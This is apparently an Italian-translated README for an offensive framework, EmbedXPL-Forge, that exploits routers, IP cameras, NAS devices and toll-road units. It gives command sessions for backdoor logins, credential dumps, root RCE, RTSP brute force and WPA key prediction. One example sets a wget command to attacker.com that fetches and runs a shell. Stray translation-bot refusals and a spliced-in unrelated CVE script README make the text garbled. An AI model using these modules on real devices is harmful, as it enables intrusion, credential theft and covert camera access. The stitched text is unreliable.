exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/

**Tutti i 27 nuovi vendor/moduli:**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · più i gap-fill di belkin, netgear, trendnet.


## Struttura del modulo```
embedxpl/
├── core/
│   ├── rtsp/          # RTSP camera engine
│   │   ├── client.py  # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│   │   ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│   │   ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│   │   └── models.py  # RTSPStream dataclass, AuthType enum
│   └── poly/
│       ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│       └── runner.py  # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│   ├── creds/             # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│   ├── exploits/
│   │   ├── cameras/       # IP camera exploits by vendor
│   │   │   ├── multi/     # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│   │   │   ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│   │   │   ├── dahua/     # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│   │   │   ├── axis/      # Axis (CVE-2018-10660, ...)
│   │   │   ├── reolink/   # Reolink (CVE-2021-40655, CVE-2022-30600)
│   │   │   ├── amcrest/   # Amcrest (CVE-2019-3950)
│   │   │   ├── uniview/   # Uniview UNV (CVE-2024-37630)
│   │   │   ├── tapo/      # TP-Link Tapo (CVE-2021-4045)
│   │   │   ├── annke/     # ANNKE DVR/NVR (CVE-2021-32941)
│   │   │   ├── swann/     # Swann DVR/NVR (default creds + RTSP)
│   │   │   └── edimax/    # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│   │   ├── firmware/      # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│   │   ├── nas/           # NAS exploits (QNAP, D-Link NAS, Zyxel)
│   │   ├── routers/       # Router exploits by vendor (85 vendor folders — see full list below)
│   │   ├── vpn/           # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│   │   ├── switches/      # Switch exploits (Cisco, D-Link, NETGEAR)
│   │   └── soho_edge/     # SOHO edge device exploits
│   ├── scanners/          # Network scanning and AutoPwn
│   ├── payloads/          # Reverse/bind shells (multi-arch)
│   ├── encoders/          # Payload encoding (Base64, Hex)
│   └── generic/           # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/                   # NSE script manager (Python)
│   ├── manager.py         # NSEManager class — install/uninstall/list/run
│   └── __main__.py        # CLI: python -m embedxpl.nse
├── resources/
│   └── rtsp/
│       ├── routes.txt      # 195+ RTSP stream paths
│       └── credentials.json# 80+ default username:password pairs
└── data/
    └── oui.txt             # IEEE OUI database for MAC-to-vendor lookup

nse/                        # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse

Copertura estesa dei moduli

Questa sezione documenta i moduli per dispositivi ISP, gli exploit per backdoor/password di fabbrica, il framework client RTSP, gli strumenti OSINT e i moduli di sicurezza specializzati.

Moduli di sicurezza per dispositivi ISP

Exploit e scanner mirati a CPE forniti dagli ISP e telecamere IP comunemente distribuite dai provider internet (ONT basati su Sercomm, CPE GPON e dispositivi brandizzati ISP).

Esempi di utilizzo:```bash

ZTE ZXHN H298A Credential Dump

embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run

Expected output (vulnerable device):

[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000&ETHCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC

Sample output (not vulnerable):

[-] No credential fields found in response [-] Target may be patched or different firmware

## Utilizzo

python3 CVE-2025-55182.py -u -c

### Esempi

```bash
# Esegui il comando 'id' sul server di destinazione
python3 CVE-2025-55182.py -u http://target.com -c "id"

# Esegui il comando 'whoami' sul server di destinazione
python3 CVE-2025-55182.py -u http://target.com -c "whoami"

# Esegui il comando 'ls -la' sul server di destinazione
python3 CVE-2025-55182.py -u http://target.com -c "ls -la"

Come funziona

Lo script sfrutta la vulnerabilità CVE-2025-55182 inviando una richiesta POST appositamente predisposta all'endpoint di destinazione. La richiesta contiene un payload progettato per attivare l'esecuzione di codice in remoto (RCE) sul server.

Requisiti

• Python 3.x
• Libreria requests

Installazione

pip install requests

Disclaimer

Questo strumento è fornito solo a scopo didattico e di ricerca sulla sicurezza. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Usalo in modo responsabile e solo su sistemi che possiedi o per cui hai un'autorizzazione esplicita a testare.

Licenza

Questo progetto è concesso in licenza secondo la Licenza MIT - consulta il file LICENSE per i dettagli.```bash

Intelbras IWR LuCI RPC RCE

embedxpl use routers/intelbras/iwr_luci_rpc_rce embedxpl (IWRLuci) > set rhost 192.168.0.1 embedxpl (IWRLuci) > set cmd "id" embedxpl (IWRLuci) > run

Expected output:

[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys [+] RCE via sys.exec: uid=0(root) gid=0(root)

I'm sorry, but I don't see any content to translate in your message. You mentioned "INPUT:" but no actual text followed it.

Please provide the Markdown content (chunk 93 of 107) that you'd like me to translate from English to Italian, and I'll return only the translated text with all Markdown structure, code, paths, URLs, and technical identifiers preserved exactly as-is.```bash
# Brazilian ISP multi-vendor scanner
embedxpl use scanners/specialized/br_isp_scanner
embedxpl (BRISPScan) > set target 192.168.0.0/24
embedxpl (BRISPScan) > run

Note: CVE-2026-34474 riguarda ZTE ZXHN H298A 1.1 e H108N 2.6. Non è richiesta autenticazione. Legale: Utilizzare solo su dispositivi di propria proprietà o per i quali si dispone di autorizzazione scritta per il test.

Moduli per Backdoor su Router Legacy e Password di Fabbrica

Exploit classici per backdoor su router e password di fabbrica implementati nel formato modulo di EmbedXPL-Forge.

Esempi di utilizzo:```bash

Cobham Aviator admin reset (VSAT / Satellite terminal)

embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943 embedxpl (CobhamReset) > set rhost 192.168.1.1 embedxpl (CobhamReset) > run

Expected output:

[+] Connected to Cobham Aviator 700 interface [+] Sending unauthenticated admin reset request [!] VULNERABLE: Admin password reset to default

Linksys eSeries The Moon RCE

embedxpl use routers/linksys/eseries_themoon_rce_tmunblock embedxpl (TheMoon) > set rhost 192.168.1.1 embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh" embedxpl (TheMoon) > run

Huawei HG8245H WPA keygen

embedxpl use osint/keygen/huawei_hg8245_wpa_keygen embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF" embedxpl (HuaweiKeygen) > run

Output: [+] Predicted WPA key: xA7z3k9P

**Note:** Il worm Moon (Linksys E-Series CVE) sfrutta tmUnblock.cgi senza autenticazione su firmware < 2.0.08.
**Legale:** Utilizzare solo su dispositivi di propria proprietà o per i quali si dispone di autorizzazione scritta ai test.

---

### RTSP Client Framework

Una libreria client RTSP/1.0 RFC 2326 in puro Python utilizzata come base per tutti i moduli di attacco alle telecamere RTSP.

**Modulo:** `network/rtsp/rtsp_client.py` - classe `RTSPClient`

**Caratteristiche:**
- Metodi OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
- Autenticazione Basic e Digest (RFC 2617)
- Parsing della descrizione di sessione SDP
- Riconnessione automatica e gestione del timeout del socket
- Supporto context manager (`with RTSPClient(...) as client`)

**Esempio di utilizzo:**```bash
# Direct Python API usage
python3 -c "
from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient
with RTSPClient('192.168.1.10', 554, timeout=5) as client:
    resp = client.describe('/live/ch0')
    if resp.status_code == 200:
        sdp = client.parse_sdp(resp.body)
        print(f'Streams: {[s.media_type for s in sdp.streams]}')
"

I apologize, but I don't see any content to translate in your message. The INPUT section appears to be empty.

Please provide the Markdown content (chunk 99 of 107) that you'd like me to translate from English to Italian, and I'll return only the translated text following all the rules you've specified.```bash

RTSP credential brute force (uses RTSPClient internally)

embedxpl use network/rtsp/rtsp_cred_brute embedxpl (RTSPBrute) > set rhost 192.168.1.10 embedxpl (RTSPBrute) > set rport 554 embedxpl (RTSPBrute) > set path /live/ch0 embedxpl (RTSPBrute) > run

Expected output:

[+] Trying admin:admin ... 401 Unauthorized [+] Trying admin:12345 ... 200 OK [!] VALID: admin:12345

**Requisiti:** Python 3.8+, nessuna dipendenza esterna.

---

### Modulo FCC-ID Lookup

Modulo OSINT che interroga il database FCC Equipment Authorization per recuperare i dettagli del dispositivo dai codici FCC ID trovati sulle etichette hardware.

**Modulo:** `osint/fcc_id_lookup.py`

**Esempio di utilizzo:**```bash
embedxpl use osint/fcc_id_lookup
embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U"
embedxpl (FCCLookup) > run

# Expected output:
[+] FCC ID: PD5-WNR3500U
    Grantee: NETGEAR Inc.
    Product: WNR3500U Wireless-N Gigabit Router
    Frequency: 2.4GHz / 5GHz
    Authorization: OET-65C (mobile device)
    Test Lab: SGS
    Grant Date: 2009-11-18
    Internal Photos: [URL]
    External Photos: [URL]
    Test Reports: [URL]

Suggerimenti:

• Gli FCC ID sono stampati sulle etichette dei dispositivi (formato: GRANTEE_CODE-PRODUCT_CODE)
• Utilizzare per identificare hardware OEM, base firmware o catena di fornitura
• Combinare con osint/github_recon per trovare repository firmware pubblici per il dispositivo

Requisiti: Accesso a Internet, libreria requests.

Generatore di URL per Telecamere

Genera URL di stream di telecamere note in base a fornitore, modello e versione firmware, utilizzando il formato del database di telecamere iSpy.

Modulo: osint/camera_url_generator.py

Esempio di utilizzo:```bash embedxpl use osint/camera_url_generator embedxpl (CameraURL) > set vendor "hikvision" embedxpl (CameraURL) > set model "DS-2CD2143G2" embedxpl (CameraURL) > run

Expected output:

[+] Known stream URLs for Hikvision DS-2CD2143G2: [1] rtsp://:554/Streaming/Channels/101 [2] rtsp://:554/Streaming/Channels/102 [3] rtsp://:554/h264/ch1/main/av_stream [4] http:///ISAPI/Streaming/channels/1/picture [5] http:///onvif/device_service

Generate wordlist for RTSP brute force

embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt embedxpl (CameraURL) > run

**Suggerimenti:**
- Combina con `network/rtsp/rtsp_route_brute` per enumerare i flussi live
- Supporta oltre 300 produttori di telecamere dal database open camera di iSpy
- Usa `set all_vendors true` per estrarre tutti gli URL conosciuti

---

### Moduli di Sicurezza per l'Enforcement del Traffico

Moduli mirati all'infrastruttura di enforcement del traffico (RSU per pedaggi, sistemi radar, telecamere ANPR).

#### Kapsch TrafficCom RSU EFI Shell (CVE-2025-25734)

**Modulo:** `exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734`

**Vulnerabilità:** Le Road-Side Unit (RSU) Kapsch utilizzate nel telepedaggio mancano dell'enforcement di UEFI Secure Boot e della protezione tramite password del BIOS, consentendo ad attaccanti fisici di accedere a una shell interattiva EFI e di ottenere accesso all'intero filesystem.

**Impatto:** Estrazione della configurazione, furto della chiave privata TLS, installazione di implant, bypass dell'enforcement del pedaggio.

**Esempio di utilizzo:**```bash
# Network reachability check (management interface detection)
embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734
embedxpl (KapschRSU) > set rhost 10.0.0.50
embedxpl (KapschRSU) > check

# Expected output (management interface exposed):
[+] Kapsch RSU management interface detected on 10.0.0.50:80
[!] Banner indicator: 'TrafficCom RSU' found
[*] NOTE: Full exploitation requires physical on-site access

# Assessment report
embedxpl (KapschRSU) > run
# Outputs: attack steps, mitigations checklist, risk level

Fasi di exploitation fisica:

1. Aprire l'involucro dell'RSU (viti a prova di manomissione)
2. Collegare tastiera USB e monitor alla scheda madre dell'RSU
3. Ciclo di alimentazione - premere ESC/DEL/F2 durante il POST
4. Navigare: Boot Manager -> EFI Internal Shell
5. Accedere al filesystem: fs0:\efi\config\ per l'estrazione della configurazione

Requisiti: Accesso fisico all'hardware dell'RSU (monitor + tastiera USB), oppure accesso di rete all'interfaccia di gestione per il rilevamento del banner. Legale: L'accesso non autorizzato all'infrastruttura di controllo dei pedaggi è un reato penale. Utilizzare solo su unità di propria proprietà o per le quali si dispone di autorizzazione scritta esplicita alla valutazione.

Architettura del Framework (v3.1.0)

Architettura dei Componenti

Vista completa a livelli del framework: livello CLI, Core Engine (orchestratore, client di protocollo, motori shell), Intelligence Layer (ML, OUI, CVE DB), Quality Gates e l'arsenale di oltre 2800 moduli organizzato per categoria.

Flusso di Audit & Exploitation

Flusso dati end-to-end dall'input del target attraverso discovery, fingerprinting, selezione dei moduli, exploitation e reporting.

Architettura & Mappe della Superficie d'Attacco

Mappe della superficie d'attacco che mostrano la copertura dei moduli per vettore di accesso, nello stile dei diagrammi di sicurezza operativa. File sorgente in docs/diagrams/architecture/.

Panoramica dell'Architettura dei Moduli

Catene d'Attacco dei Gruppi APT

Superficie d'Attacco dei Router SOHO

Superficie d'Attacco TP-Link (Campagna APT28/GRU)

Superficie d'Attacco MikroTik RouterOS

Superficie d'Attacco GPON ONT (Huawei EG8145)

Requisiti

• Python 3.8+
• Opzionale: nmap (binario) per il rilevamento di rete avanzato e gli script NSE
• Opzionale: masscan per il rilevamento RTSP ad alta velocità
• Opzionale: gcc/clang per la compilazione runtime C/C++ di PolyExploit
• Opzionale: msfconsole per l'integrazione con Metasploit tramite PolyRunner

Dipendenze Python (installate automaticamente): requests, paramiko, pysnmp, pycryptodome, scapy, colorama, rich, python-nmap, aiohttp

Extra NSE (pip install "embedxpl[nse]"): python-nmap (già incluso nel core)

Elenco completo: requirements.txt

Disclaimer Legale

EmbedXPL-Forge è destinato esclusivamente a test di sicurezza autorizzati e ricerca. Utilizzare questo strumento esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicito permesso scritto di test. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità per uso improprio.

Licenza

Licenza BSD — vedere LICENSE per i dettagli.

Contatti

Supporto / richieste generali: [email protected] Problemi di sicurezza: SECURITY.md

André Henrique

União Geek

Licenza: BSD-3-Clause License - Copyright (c) 2026 União Geek Creato da: André Henrique (@mrhenrike) | União Geek

Leia em Português - Command coverage - Wiki